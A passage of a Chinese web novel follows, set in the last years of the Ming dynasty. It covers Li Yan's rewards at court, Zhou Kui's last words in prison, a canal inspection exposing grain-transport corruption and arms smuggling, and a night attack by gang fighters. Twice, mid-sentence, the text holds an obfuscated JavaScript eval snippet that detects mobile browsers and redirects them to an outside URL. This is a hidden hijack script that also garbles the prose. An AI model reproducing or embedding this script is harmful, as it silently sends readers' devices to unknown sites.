李炎心中巨震。原来崇祯那夜说的“保太子南下”,皇后早就开始做了。这位看似柔弱的皇后,在最后关头,展现了惊人的决断。 “皇上知道吗?” “不知道。”周皇后惨笑,“本宫不敢说。但现在……该说了。李大人,请你转告皇上:本宫对不起他,对不起大明,但三个孩子……是无辜的。” 她站起身,整理衣衫,理好头发,又恢复了皇后的端庄仪态:“好了,你去吧。本宫……等皇上的旨意。” 李炎深深一揖,退出坤宁宫。门外,曹化淳迎上来,眼中有关切。 “娘娘她……” “暂时无碍。”李炎将玉佩收好,“曹公公,有劳你一件事——派可靠的人,去这个地方,确认三位皇子的安全。” 他将地址写在纸上,交给曹化淳。 “记住,要暗中进行,绝不能走漏风声。” “老奴明白。” 走出宫门时,天已蒙蒙亮。李炎望着晨曦中的紫禁城,第一次感到这座宫殿如此沉重——每一块砖瓦下,都压着秘密,每一处阴影里,都藏着算计。 而他,必须在这重重迷雾中,找到出路。 --- 辰时·朝会 太和殿上,百官肃立。 崇祯今日精神明显好了许多,穿着明黄色龙袍,端坐龙椅。待山呼万岁后,他开门见山: “北京之围已解,全赖将士用命,百官同心。朕今日,要论功行赏。” 王承恩展开圣旨,朗声宣读: “兵部右侍郎李炎,临危受命,运筹帷幄,退闯虏,保京师,功在社稷。加封太子太保、总督天下兵马,赐蟒袍玉带,赏黄金千两!” “京营总兵李国桢,守城有功,加封左都督,世袭锦衣卫千户!” “原工部员外郎宋应星,督造军器,功不可没,擢工部右侍郎,专司军器制造!” 一连串封赏,有人欢喜有人忧。李炎跪地谢恩时,能感觉到背后数十道目光,如芒在背。 封赏完毕,崇祯话锋一转:“有功则赏,有过……也要罚。” 殿内气氛骤冷。 “嘉定伯周奎,通敌卖国,证据确凿,着即抄家,三日后午门问斩!” “司设监少监王安、坤宁宫总管太监杜勋,勾结外敌,凌迟处死!” “另有二十三名官员……”崇祯顿了顿,目光扫过殿下,“朕给你们三天时间,自行上表请辞。三日后若还在朝堂,就别怪朕不念旧情了。” 死一般的寂静。被点名的官员脸色煞白,有人当场瘫软。 首辅魏藻德出列:“陛下,如此大案,是否应交由三法司会审……” “不必。”崇祯打断,“锦衣卫已审清楚了。魏阁老若有异议,可以看看这些。” 王承恩抬上一口木箱,打开,里面是堆积如山的卷宗。魏藻德翻看几页,手开始颤抖——里面不仅有周奎等人的罪证,还有一些……他不想看到的名字。 “陛下圣明。”他最终躬身退下。 朝会在诡异的气氛中结束。百官退朝时,无人交谈,个个面色凝重。 李炎正要离开,被王承恩叫住:“李太保,皇上在养心殿等您。” --- 巳时·养心殿 养心殿是崇祯平日批阅奏章的地方,陈设简朴。李炎进来时,崇祯正在看一幅地图——不是北京,是整个大明。 “爱卿来了。”崇祯招手,“过来看。” 李炎走近,地图上标注着密密麻麻的记号:红色是闯军控制区,黑色是清军威胁方向,蓝色是明军防线,黄色则是……已经失控的区域。 大明十八省,红色的区域占了近半——陕西、山西、河南、湖广北部……黑色的箭头从辽东指向京师,另一支从蒙古方向指向宣府。蓝色的防线支离破碎,黄色的区域还在扩大。 “看明白了吗?”崇祯声音平静,“北京守住了,但大明……已经千疮百孔。” 李炎沉默。他当然知道,历史上即使没有清军入关,李自成的大顺政权也已占据半壁江山。南明之所以能坚持那么久,是因为江南尚未糜烂,但现在…… “江南还能支撑多久?”崇祯忽然问。 “若漕运畅通,钱粮充足,至少能撑三年。” “三年……”崇祯苦笑,“爱卿,朕要你去做一件事——整顿漕运。” 李炎一怔。漕运是命脉,但也是最复杂的肥差,牵扯各方利益。让他这个“外人”去碰,必然阻力重重。 “陛下,臣对漕运……” “不懂可以学。”崇祯直视他,“但有些事,只有不懂的人才能做。漕运总督衙门上下,从总督到书吏,十之八九都有问题。朕派去三任钦差,一个暴病而亡,一个坠河失踪,一个……回来后就改口说漕运没问题。” 他敲着地图上的运河线:“每年四百万石漕粮,能到京师的不足三百万。剩下的一百万石,去哪了?还有漕银、漕丁、漕船……这里面,是多大一个窟窿?” 李炎明白了。崇祯要他做的,不只是整顿,是捅马蜂窝。 “臣需要人手。” “要谁给谁。”崇祯道,“宋应星可以帮你改进漕船,孙传庭可以带兵护卫。还有……朕会从南京调一个人来帮你。” “谁?” “史可法。” 李炎心中一振。这位后来的南明擎天柱,现在还是南京兵部尚书,以清廉刚直著称。 “史大人愿意?” “朕已下密旨。”崇祯道,“他三日后抵京。爱卿,整顿漕运不是一朝一夕之功,朕给你半年时间。半年后,朕要看到一百万石粮食运到通州。” 半年,一百万石。这是几乎不可能完成的任务。 但李炎知道,他必须完成。没有粮食,北京就守不住;北京守不住,一切就都完了。 “臣……领旨。” “还有这个。”崇祯从袖中取出一封信,“吴三桂送来的。” 李炎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111034|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过。信写得很客气,先是祝贺北京解围,然后表示愿率关宁军入卫京师,但话里话外透着一个意思——要钱,要粮,要封赏。 “你怎么看?” “他想试探。”李炎道,“试探朝廷的态度,也试探自己的价值。” “那朕该给他什么?” “给他想要的。”李炎沉声道,“但不是白给。陛下可下旨,封吴三桂为平西侯,加太子太傅,赐尚方宝剑。但同时要他——移镇大同。” 大同在宣府以西,直面蒙古,是九边重镇。让吴三桂去那里,既给了他面子,也把他从山海关调开,还能加强西北防务。 崇祯眼睛一亮:“好计!但吴三桂会答应吗?” “他会。”李炎肯定,“因为大同比山海关安全。清军若再入寇,首当其冲的是蓟镇、宣府,大同在侧翼,可进可退。以吴三桂的性子,不会拒绝。” “那就这么办。”崇祯提笔拟旨,“不过,得派个得力的人去宣旨。” “臣愿往。” 崇祯抬头:“你?不行,你还要整顿漕运。” “两件事可以一起做。”李炎解释,“去大同要走运河,臣正好沿途视察漕务。而且……臣想亲眼看看,这位平西伯,到底是个什么样的人。” 知己知彼,百战不殆。吴三桂是未来最大的变数之一,必须摸清底细。 崇祯沉思良久,终于点头:“准。但要多带护卫,注意安全。” “谢陛下。” --- 午时·李府书房 回到府邸,李炎立即召集心腹。 宋应星、孙传庭、李国桢、曹化淳,还有刚从伤兵营回来的陈平,五人围坐书房。 李炎将朝会情况和崇祯的旨意说了一遍。 “整顿漕运,视察大同……”孙传庭皱眉,“大人,这两件事哪件都不好办。尤其漕运,那是马蜂窝,捅不好会蜇死人的。” “所以要请先生助我。”李炎看向宋应星,“漕船老旧,运力不足,损耗太大。先生可有改良之法?” 宋应星捋须:“老朽研究过漕船,主要问题有三:一是船型笨重,逆水行舟太慢;二是用料粗糙,易损易漏;三是装卸不便,耗时耗力。” 他走到书案前,画出草图:“老朽设想了一种新式漕船——船身加长,底部加宽,吃水浅但载货多。桅杆可升降,过闸方便。最重要的是……可以加装明轮。” “明轮?”李国桢不解。 “就是在船侧装轮子,由人力或畜力驱动,可提高航速,逆水也能行船。”宋应星解释,“此法古已有之,但未大规模应用。若能在漕船上推广,运力至少可增三成。” 李炎眼睛亮了。明轮就是早期轮船的雏形,虽然原始,但在这个时代已经是革命性的改进。 “好!请先生尽快设计,先造几艘样品试航。” “老朽领命。” 李炎又看向孙传庭:“孙将军,你挑选一千精兵,三日后随我南下。记住,要选可靠的,最好是家在京畿的——这样他们不会轻易背叛。” “末将明白。” “李总兵。”李炎转向李国桢,“我走之后,京城防务就交给你了。有三件事要特别注意:一是继续整训新军;二是监视百官动向;三是……保护三位皇子的安全。” 李国桢一惊:“皇子?” 李炎将坤宁宫之事简要说了一遍:“此事绝密,除在场诸位,不可再让第七人知道。” 众人神色凝重。皇子离宫,这意味着什么,大家都清楚——崇祯已经在做最坏的打算。 “曹公公。”李炎最后道,“宫中的事,还要劳你多费心。皇后娘娘那边……务必保证安全。另外,锦衣卫那边,我需要几个人。” “大人要谁?” “沈炼虽然死了,但他手下应该还有能用的。我要三个:一个擅长潜伏,一个精通刑讯,一个熟悉江湖门道。” 曹化淳点头:“老奴去办。” “好了,诸位各自准备吧。”李炎起身,“三日后,我们出发。” 众人散去后,李炎独自站在窗前。院子里,那棵老槐树正在抽新芽,嫩绿的叶子在阳光下透明如翡翠。 春天来了。但大明的春天,还会来吗? 他不知道。他只知道,自己必须走下去,在这个时代,为这个文明,杀出一条血路。 哪怕前路荆棘,哪怕满手鲜血。 “大人。”春梅不知何时进来,端着一碗面,“您一天没吃东西了。” 清汤面,撒着葱花,热气腾腾。李炎接过,忽然问:“春梅,你想出宫吗?” 宫女一愣,随即跪下:“奴婢……但凭大人安排。” “我南下期间,会路过保定。你弟弟若还活着,应该在那里。”李炎道,“你可以跟我去,找他。” 春梅的眼泪瞬间涌出,重重磕头:“谢大人!谢大人!” “起来吧。”李炎扶起她,“去收拾东西。记住,这一路……不会太平。” 春梅擦泪退下。李炎看着她的背影,心中复杂。 在这个乱世,每个人都有自己的牵挂,自己的执念。而他,要守护这些微不足道的牵挂,让它们不至于在时代的洪流中湮灭。 这或许,就是他穿越的意义。 面还温热,他拿起筷子,大口吃起来。 吃饱了,才有力气战斗。 而战斗,还远未结束。 --- 申时·诏狱深处 曹化淳带着李炎穿过阴森的诏狱长廊。这里是锦衣卫关押重犯的地方,空气中弥漫着血腥和霉味。 最深处的牢房,周奎独自坐着。这位昔日的国丈,现在穿着囚服,头发花白散乱,但腰背还挺得笔直。 听见脚步声,他抬头,看到李炎,眼中闪过一丝讥诮:“李太保?怎么,来看老夫的笑话?” “奉皇上之命,来问几句话。”李炎示意狱卒开门,走进牢房。 曹化淳守在门外。 牢房里只有一床一桌,桌上放着纸笔——这是给重犯写供词用的。周奎没动。 “国丈还有什么想说的吗?”李炎问。 “该说的都说了。”周奎冷笑,“成王败寇,没什么好说的。只恨……只恨没早点动手。” “动手?对谁?” “对崇祯!”周奎忽然激动起来,“那个刚愎自用的小子!老夫把女儿嫁给他,助他登基,结果呢?他杀了魏忠贤,清算了阉党,连老夫的人也动!老夫在朝堂几十年,门生故旧遍布天下,他倒好,说杀就杀,说贬就贬!” 李炎静静听着。这就是明末党争的缩影——你死我活,没有中间道路。 “所以你就勾结闯军?” “闯军怎么了?”周奎反问,“李自成至少答应,破城后保留我等家产,许我们官职。崇祯呢?他恨不得把天下士绅都抄了家,充他的军饷!” “所以你不在乎谁坐天下,只在乎自己的利益?” “利益?”周奎笑了,笑声苍凉,“李太保,你还年轻,不懂。这天下,从来就是利益的天下。朱家能坐天下,是因为当初给了士绅好处。现在他们不给好处了,还想让我们卖命?做梦!” 李炎沉默。周奎说得赤裸,但某种程度上,他说的是事实——明末的统治基础已经崩塌,士绅阶层离心离德。 “你女儿呢?”他忽然问,“皇后娘娘为了你,差点自尽。你可曾为她想过?” 周奎脸上的狂态僵住了。良久,他低下头,声音嘶哑:“玉儿……是爹对不起你……” 一滴浑浊的眼泪,落在囚服上。 人之将死,其言也善。但李炎知道,这种忏悔太迟了。 “还有遗言吗?” 周奎抬起头,眼中恢复清明:“告诉玉儿,下辈子……别生在勋贵之家。还有,告诉崇祯——”他深吸一口气,“他杀老夫可以,但若想坐稳江山,就得学会……与士绅共天下。” 说完,他闭上眼睛,不再言语。 李炎退出牢房。曹化淳跟上:“大人,他……” “按旨意办吧。”李炎淡淡道,“给他个痛快。” “那皇后娘娘那边……” “实话实说。”李炎顿了顿,“但最后那句话……就不必转达了。” 有些真相,太残酷,不如不知道。 走出诏狱时,夕阳西斜。李炎望着天边的晚霞,忽然想起一首诗: “夕阳无限好,只是近黄昏。” 大明的黄昏,真的来了吗? 他不信。至少,他来了,就要让这夕阳……再多挂一会儿。 哪怕只是一会儿。 8. 漕河暗流 卯时·通州码头 晨雾锁河,漕船如林。 李炎站在“安澜号”的船头,这是一艘新下水的四百料漕船,按宋应星的设计加装了明轮,船身刷着桐油,在薄雾中泛着青光。身后,十二艘同型船依次排开,组成首支“明轮船队”。 孙传庭按刀立于左舷,他的一千精兵分乘六船,皆做漕丁打扮,但甲胄藏在麻衣下,刀弓隐于货堆中。右舷是宋应星和二十名工匠,他们带着工具和图纸,此行既要视察漕务,也要实测新船。 春梅换了男装,扮作书童,安静地站在李炎身后。她怀里抱着个藤箱,里面是七星令、圣旨、以及李炎从现代带来的平板电脑——电量还剩41%,这是他最后的“仙器”。 “大人,都齐了。”曹化淳从跳板走上来,他也换了便服,像个老管家,“锦衣卫的三个人已在各船,沿途会暗中联络卫所、驿站。另外……”他压低声音,“宫里传来消息,皇后娘娘开始进食了。” 李炎点点头。那日从诏狱回来,他让曹化淳转告周皇后:“活着,才能等到三个皇子平安长大。”这话起了作用。 “开船吧。” 缆绳解开,长篙撑岸。明轮船队在晨雾中缓缓离港,木轮划开浑浊的河水,发出有节奏的哗啦声。通州城墙在雾中渐渐模糊,最终消失。 南下的路,开始了。 --- 辰时·运河上 雾散,天青。 运河两岸,景象触目惊心。本该是春耕时节,但大片田地荒芜,杂草丛生。偶尔可见零星农夫在劳作,个个面黄肌瘦。更远处,有村庄只剩残垣断壁,焦黑的梁木指向天空。 “都是闯贼祸害的。”孙传庭恨声道,“去岁他们东进,沿途烧杀抢掠,十室九空。” 李炎沉默。他记得史料记载,明末农民军确实纪律败坏,尤其流窜作战时,与匪类无异。但更深层的原因,是连续十几年的天灾、加派、贪腐,把百姓逼上了绝路。 “看那边。”宋应星指着右岸。 那里有座水闸,闸门半开,七八艘漕船堵在闸口。闸吏是个胖墩墩的汉子,正坐在棚子里喝茶,几个漕丁围着他点头哈腰,显然在疏通关节。 “每过一闸,都要使钱。”宋应星叹息,“少则三五两,多则十两。一艘漕船从杭州到通州,过闸上百,这‘闸费’就是千两。这些钱,最后都摊在漕粮上。” 李炎让船靠岸。他带着孙传庭和两个亲兵,走向闸棚。 胖闸吏见来人衣着普通,眼皮都不抬:“排队去,没看前面堵着吗?” “这闸多久开一次?”李炎问。 “你谁啊?”闸吏斜眼。 孙传庭上前一步,亮出腰牌——不是官凭,是京营的令牌。闸吏脸色一变,忙站起来:“原来是军爷……这闸,两个时辰开一次,一次过五艘。” “为何不常开?” “水不够啊。”闸吏叫苦,“上游没水,开了闸下游船就搁浅。只能攒够一波开一次。” 李炎走到闸边查看。闸是石砌的,设计还算合理,但维护极差,缝隙处长满青苔,绞盘铁锈斑斑。显然,所谓“水不够”是借口,真正目的是多收几次“闸费”。 “从今日起,此闸一个时辰开一次。”李炎淡淡道,“若再刁难漕船,你这差事就不用干了。” “你、你谁啊?凭啥……” 李炎亮出七星令。黑铁令牌在晨光中泛着冷光,“如朕亲临”四个字如重锤砸在闸吏心上。 胖闸吏腿一软,跪倒在地:“大、大人恕罪!小的有眼不识泰山……” “起来。”李炎收起令牌,“我问你,这闸的闸费,每年多少?上交多少?你自己留多少?” 闸吏汗如雨下,支支吾吾。李炎不再逼问,对孙传庭道:“记下他的名字,让后面船上的锦衣卫查。若有贪腐,按律处置。” 回到船上,船队优先过闸。其他漕船的船工们看到这一幕,纷纷跪在船上磕头。他们不知道李炎是谁,但知道来了个能治闸吏的大官。 “这只是冰山一角。”宋应星面色凝重,“运河上下,闸吏、河兵、催粮官、仓大使……层层盘剥。四百万石漕粮,能有一半真正用于国计民生,就算不错了。” 李炎望着远去的闸口,心中沉重。大明的血管——运河,已经堵塞化脓。他此行,就是要做外科手术,剜掉腐肉。 但手术刀下去,流的可能不只是脓血。 --- 午时·河西务 船队停靠河西务码头补给。这是北运河的重要枢纽,本该商贾云集,但如今萧条得很。码头边只有十几艘船,岸上店铺大半关门,开着的也门可罗雀。 李炎带人上岸。孙传庭派兵警戒,宋应星去查看码头设施,李炎则走进一家还在营业的茶肆。 茶肆老板是个独眼老汉,见有客来,忙擦桌子倒茶。茶水浑浊,茶叶梗浮在上面。 “老丈,生意不好做?”李炎问。 “能活着就不错了。”老汉叹气,“去年闯贼来过,抢了一通;今年清虏又来,又抢一通。有点家底的都跑了,剩下的……唉。” “漕船呢?我看码头空着大半。” “漕船?”老汉冷笑,“大人是外地来的吧?现在的漕船,十艘有八艘是空的——要么在南方就装了沙子石头充数,要么半路被‘河匪’劫了。真正运粮的,没几艘。” 李炎心中一动:“河匪?” “说是匪,谁知道呢。”老汉压低声音,“专劫漕船,但不杀人,只抢粮。抢完了还给你留点路费。有人说是漕帮自己搞的鬼,左手倒右手;也有人说是……官兵扮的。” 正说着,外面传来喧哗。孙传庭匆匆进来:“大人,码头上打起来了!” 李炎起身出去。只见码头空地上,两拨人正在对峙。一边是十几个衣衫褴褛的汉子,手持木棍扁担;另一边是五六个穿号衣的河兵,腰挎腰刀。 “怎么回事?” 一个河兵小旗上前行礼:“大人,这些刁民哄抢漕粮!卑职正在弹压!” “放屁!”为首的汉子三十多岁,满脸风霜,“那粮是我们自己的!被你们扣了三个月,家里老娘都快饿死了,还不让拿?” 李炎看向河兵小旗:“他说的可是实情?” 小旗支吾:“这、这粮是充公的……他们抗税不交,按律……” “按哪条律?”李炎打断,“大明律哪条规定,可以扣百姓口粮三个月?” 小旗答不上来。李炎走到那群汉子面前:“你们是本地人?” “回大人,小的是河西务农户。”汉子跪下,“去年遭了灾,秋粮减产,实在交不起税。官府就把我们存在社仓的种子粮扣了,说抵税。可那是春耕的种子啊……” 他身后的人纷纷跪倒,哭声一片。 李炎脸色铁青。社仓本是备荒的义仓,现在竟成了官府盘剥的工具。 “孙传庭。” “末将在。” “带人查封河西务粮仓,清点存粮。凡克扣百姓口粮、种子者,一律拿下。”李炎声音冰冷,“再派人去县衙,让县令一个时辰内来见我。” “是!” 河兵小旗想说什么,被孙传庭瞪了一眼,不敢再言。 李炎扶起那群农户:“粮食会还给你们。但我要问一句——若给了种子,你们能种出粮吗?” 汉子愣住,随即重重点头:“能!只要有种子,有地,我们就能种!” “好。”李炎从怀中取出一锭银子,约莫十两,“这钱,你们拿去买农具,修缮水渠。秋收后,我要看到河西务的田地,不再荒芜。” 汉子们磕头如捣蒜。李炎转身离开,心中却无喜悦。 十两银子,救得了十几户,救得了天下千万户吗? --- 未时·县衙 河西务县令姓赵,四十多岁,瘦得像竹竿,官袍穿在身上空荡荡的。见到李炎,他直接跪倒:“下官参见李太保!” 李炎坐在县衙大堂,看着跪在地上的县令,良久才道:“赵县令,河西务在籍人口多少?现存多少?” “回、回太保,在籍八千六百户,现存……约五千户。” “那三千户呢?” “有的逃荒,有的……死于兵乱饥荒。” “去年赋税收了多少?” 赵县令汗出如浆:“应、应征粮一万二千石,实征……七千石。” “还有五千石呢?” “百姓实在交不起啊……”赵县令磕头,“太保明鉴,去岁大旱,秋粮减半,又遭兵祸,下官若强行催征,只怕民变……” “所以你就扣社仓的种子粮?”李炎声音转冷。 赵县令浑身发抖:“下官、下官也是没办法。朝廷催得急,漕粮定额完不成,下官这顶乌纱就保不住……” “保住乌纱,百姓就该死?”李炎拍案,“赵县令,你读圣贤书,可知‘民为贵,社稷次之,君为轻’?可知‘苛政猛于虎’?” 县令伏地不起,涕泪横流。 李炎看着他,忽然觉得悲哀。这个县令未必是坏人,他只是庞大官僚机器里的一颗螺丝,被制度逼着作恶。杀了赵县令,还会有张县令、李县令,只要制度不变,悲剧就会重演。 “起来吧。”他最终道,“给你三天时间,把克扣的粮食全部归还百姓。缺额部分,我从漕粮中拨补。另外——今年河西务的赋税,减免三成。” 赵县令愕然抬头:“太保,这……朝廷那边……” “朝廷那边,我担着。”李炎起身,“但你要答应我一件事——从今往后,社仓之粮,一粒也不能动。若再让我知道你盘剥百姓,掉的就不只是乌纱了。” “下官遵命!下官叩谢太保大恩!” 走出县衙时,孙传庭跟上来:“大人,这般处置……是否太宽了?那赵县令分明是渎职。” “杀了他容易。”李炎望着街巷间探头探脑的百姓,“但杀了之后呢?换个人来,照样要完成漕粮定额,照样会盘剥百姓。问题不在个人,在制度。” 他顿了顿:“传令船队,今日在河西务过夜。我要看看,这个运河枢纽,到底烂到了什么程度。” --- 申时·漕帮 河西务有漕帮分舵,设在码头旁的一座大院里。李炎带着孙传庭和两个锦衣卫,换了便服,以商贾名义求见。 接待的是个管事,姓钱,五十来岁,笑容可掬:“几位爷看着面生,是第一次走漕运?” “是。”李炎道,“有批货要从杭州运到通州,想问问行情。” “好说好说。”钱管事递上茶,“不知是什么货?多少量?” “丝绸五百匹,茶叶三百担。” 钱管事眼睛一亮:“这可是大买卖。不过嘛……现在运河不太平,河匪多,关卡也多。若无漕帮关照,恐怕到不了通州。” “如何关照?” “这个数。”钱管事伸出五根手指,“每船五十两‘护航费’,包您平安过闸、过关,遇到河匪也能摆平。” 李炎故作惊讶:“这么贵?官府不是有河兵吗?” “河兵?”钱管事嗤笑,“爷您是不知道,那些河兵,不抢您就不错了。实话跟您说,这运河上下,漕帮说了算。官府?也得给我们三分面子。” “漕帮这么大能耐?” “那是。”钱管事压低声音,“咱漕帮十万弟兄,从杭州到通州,哪段水路没有我们的人?莫说官府,就是……”他指了指北边,“就是关外的爷们,想走漕运,也得跟我们打招呼。” 李炎心中一动:“关外的?清虏?” 钱管事自知失言,忙摆手:“瞎说瞎说,我就打个比方。总之,爷您这买卖,交给漕帮准没错。五十两一船,童叟无欺。” 正说着,外面传来喧哗。一个汉子冲进来:“钱管事!出事了!王老大那船被扣了!” “扣了?谁扣的?” “新来的钦差!姓李的,带了好多兵,把码头封了,正在查船!” 钱管事脸色一变,看向李炎:“几位爷稍坐,我去看看。” 他匆匆出去。李炎对孙传庭使个眼色,孙传庭会意,悄然跟上。 约莫一刻钟后,孙传庭回来,神色凝重:“大人,查到了。那艘被扣的船,装的不是漕粮,是生铁和硝石。” 李炎瞳孔一缩:“运往何处?” “船主招了,是运往山海关方向……收货人是吴三桂的部下。” 吴三桂在囤积军火。这很正常,但通过漕帮走私,就耐人寻味了——漕粮都运不足,还有余力走私军火? “走,去看看。” --- 酉时·码头仓库 被扣的是一艘二百料漕船,船主是个疤脸汉子,被绑在桅杆上。周围围满了漕丁,与孙传庭的兵对峙。 李炎到时,钱管事正在交涉:“军爷,这都是误会!这船是运往天津的,手续齐全……” “齐全?”李炎走上前,拿起船上的货单,“生铁五百斤,硝石三百斤,硫磺二百斤——天津卫要这么多火药原料做什么?” 钱管事看到李炎,脸色大变:“你、你是……” “本官李炎,奉旨整顿漕运。”李炎亮出身份,“钱管事,说说吧,漕帮这些年,除了走私军火,还干了什么?” 疤脸船主忽然吼道:“钱管事!别说了!说了全家都得死!” 李炎看向他:“你若如实交代,我保你家人安全。若顽抗……”他指了指码头边的水牢,“那里面,正好缺个住户。” 疤脸汉子挣扎片刻,终于崩溃:“我说!我都说!这货是运给平西伯的,不只是这一船,今年已经运了十几船了!漕帮上层和吴三桂有协议,帮他运军火,他保漕帮在辽东的生意……” “还有呢?” “还有……漕粮。”疤脸汉子喘着气,“每年四百万石定额,实际征收只有三百万,剩下的一百万……漕帮和各地粮道分了。有的虚报损耗,有的以次充好,有的干脆运沙子……” 围观的漕丁们哗然。他们底层卖苦力,不知道上层竟如此胆大妄为。 钱管事腿一软,瘫坐在地。 李炎面无表情:“孙传庭,把所有涉案人员押下,查封漕帮分舵,账册、文书全部收缴。”他看向围观的漕丁,“漕帮作恶,与尔等无关。从今日起,河西务码头由官府接管,凡愿继续跑船的,按官府新定工钱结算,每日现结,绝不拖欠。” 漕丁们将信将疑。李炎不再多说,让事实说话。 回到驻地时,天已黄昏。宋应星正在看收缴的账册,越看脸色越白。 “大人,这、这简直是硕鼠成窝!”他颤声道,“光是河西务分舵,去年就贪墨漕粮三万石,折银两万两!整个漕运系统,一年流失的,恐怕不下百万两!” 百万两。相当于大明一年军费的三分之一。 李炎闭目良久。他知道漕运腐败,但没想到如此触目惊心。这已经不只是贪腐,是系统性崩溃。 “先生,新式漕船的造价,算出来了吗?” “算出来了。”宋应星翻出图纸,“四百料明轮船,造价约八百两,是旧船的两倍。但载货量多三成,航速快五成,且省人工。若大规模建造,单价可降至七百两。” “好。”李炎睁开眼,“给皇上写奏折:请拨银五十万两,建造新式漕船五百艘,改组漕军,废除漕帮。同时,在运河沿线设稽查站,凡贪墨漕粮十石以上者,斩;百石以上者,族诛。” 孙传庭倒吸冷气:“大人,这……牵涉太广,恐生变乱。” “不变,就是等死。”李炎声音平静,“漕运是大明的命脉,命脉都被掐住了,还谈什么中兴?乱就乱,总好过慢慢流血而死。” 他走到窗边,望着运河上点点渔火。那些光点在暮色中摇曳,如这个王朝,明明灭灭。 “明日启程,继续南下。”他转身,“我要看看,这运河,到底还有多少脓疮。” --- 戌时·夜泊 船队夜泊在河西务下游十里处的河湾。这里僻静,两岸芦苇丛生,是个设伏的好地方——所以孙传庭布了三层警戒。 李炎在舱中看账册。春梅在一旁研墨,烛火将她的影子投在舱壁上。 “大人,您一天没怎么吃东西。”春梅轻声道。 李炎这才感到饥饿,接过她递来的馒头和咸菜,就着茶水吃下。馒头粗糙,咸菜齁咸,但他吃得很香。 “春梅,你老家是保定?” “是。”春梅低头,“家里原是开豆腐坊的,后来爹娘染病死了,弟弟才十二岁,就被……被拉去当夫子了。” “夫子”是民夫,随军搬运物资,九死一生。 “我会找到他的。”李炎承诺。 春梅忽然跪下:“大人,奴婢有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111035|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话,不知该不该说。” “说吧。” “今日在码头,您对那些漕丁说的话……他们都记在心里了。”春梅声音很轻,“奴婢刚才去船尾,听见两个老漕丁在说,要是早几十年遇到您这样的官,他们也不会沦落至此。大人,您……要小心。” “小心什么?” “漕帮势力太大。”春梅抬头,眼中有关切,“奴婢听说,漕帮总舵在杭州,帮主姓潘,人称‘龙王’,手下有十万弟兄,连南直隶的巡抚都要给他面子。您动了他的财路,他绝不会善罢甘休。” 李炎笑了,笑容有些冷:“十万弟兄?那又如何。我有大明律法,有皇上圣旨,有千万百姓的支持。他若敢反,我就让这运河,换个主人。” 话音刚落,舱外传来尖锐的哨声——敌袭! 李炎抄起佩剑冲出去。甲板上,孙传庭已指挥士兵结阵。只见河面上,数十条小船从芦苇丛中窜出,船上人影绰绰,手中兵刃映着月光。 “放箭!” 箭矢破空。但来袭者显然熟悉水战,小船灵活躲闪,同时掷出钩索,勾住船舷,开始攀爬。 “是水匪!”孙传庭拔刀,“保护大人!” 战斗爆发。李炎没有退,他站在船楼,手持燧发手枪——还剩七发子弹。一个匪徒爬上来,被他当胸一枪,栽落河中。 但匪徒太多,而且训练有素,不像是普通水匪。李炎看到,他们手臂上都系着黑布条,动作整齐,进退有据。 “是漕帮的死士!”孙传庭砍翻一人,吼道,“他们来灭口的!” 果然,匪徒的目标明确——直扑李炎所在的旗舰。显然,河西务的事已经传出去,漕帮要在他南下之前,除掉这个“祸害”。 “宋先生呢?”李炎问。 “在底舱,有兵保护。”孙传庭边战边答,“大人,您先撤到……” 话没说完,一支弩箭射来,擦着李炎耳边飞过,钉在舱壁上。弩箭上绑着纸条。 李炎拔下箭,展开纸条,上面只有一句话:“今夜子时,独赴龙王庙,可保船队平安。否则,玉石俱焚。” 落款是一个字:潘。 漕帮龙王,潘永年。 李炎冷笑,将纸条撕碎。想威胁他?做梦。 “孙传庭!” “末将在!” “传令各船:点燃火把,擂响战鼓,把咱们带的‘一窝蜂’火箭,全给我打出去!”李炎声音如铁,“让这些水老鼠看看,什么是朝廷的王师!” 命令下达。瞬间,十二艘船同时点亮火把,将河面照得如同白昼。战鼓隆隆,压过喊杀声。然后,船舷旁掀开油布,露出五十具“一窝蜂”火箭发射架。 “放!” “咻咻咻——” 一千六百支火箭如流星雨般倾泻而出,覆盖了整个河面。火箭落地即炸,火光冲天,小木船在爆炸中碎裂,匪徒惨叫着落水。 一轮齐射,匪徒死伤过半。剩余的开始溃逃。 “追击!”孙传庭要下令。 “不用追了。”李炎摆手,“打扫战场,审问俘虏。我要知道,这个潘龙王,到底有多少斤两。” 战斗结束得很快。俘虏抓了十七个,孙传庭连夜审讯。李炎回到舱中,摊开地图。 龙王庙在三十里外,是漕帮在北直隶的重要据点。潘永年约他子时独赴,显然设了陷阱。 去,还是不去? 李炎的手指在地图上划过。最终,停在龙王庙的位置。 “孙传庭。”他唤来将领,“挑一百精兵,全部换上便服,配短兵、□□。再让锦衣卫那三个好手过来。” “大人要赴约?” “赴约,但不是独赴。”李炎眼中闪过寒光,“他设陷阱,我就将计就计。正好,借这个机会,把漕帮在北直隶的势力,连根拔起。” “太危险了!” “危险?”李炎笑了,“守北京时,二十万大军我都面对过,还怕他一个江湖帮派?传令下去,船队照常南下,做出我还在船上的假象。我们……走陆路。” 他要给潘永年,一个惊喜。 --- 子时·龙王庙 龙王庙建在运河岔口的一座小岛上,三面环水,只有一条栈桥相通。庙宇不大,但香火很旺——漕帮供奉的“漕运龙王”,就是这里。 子时,月黑风高。 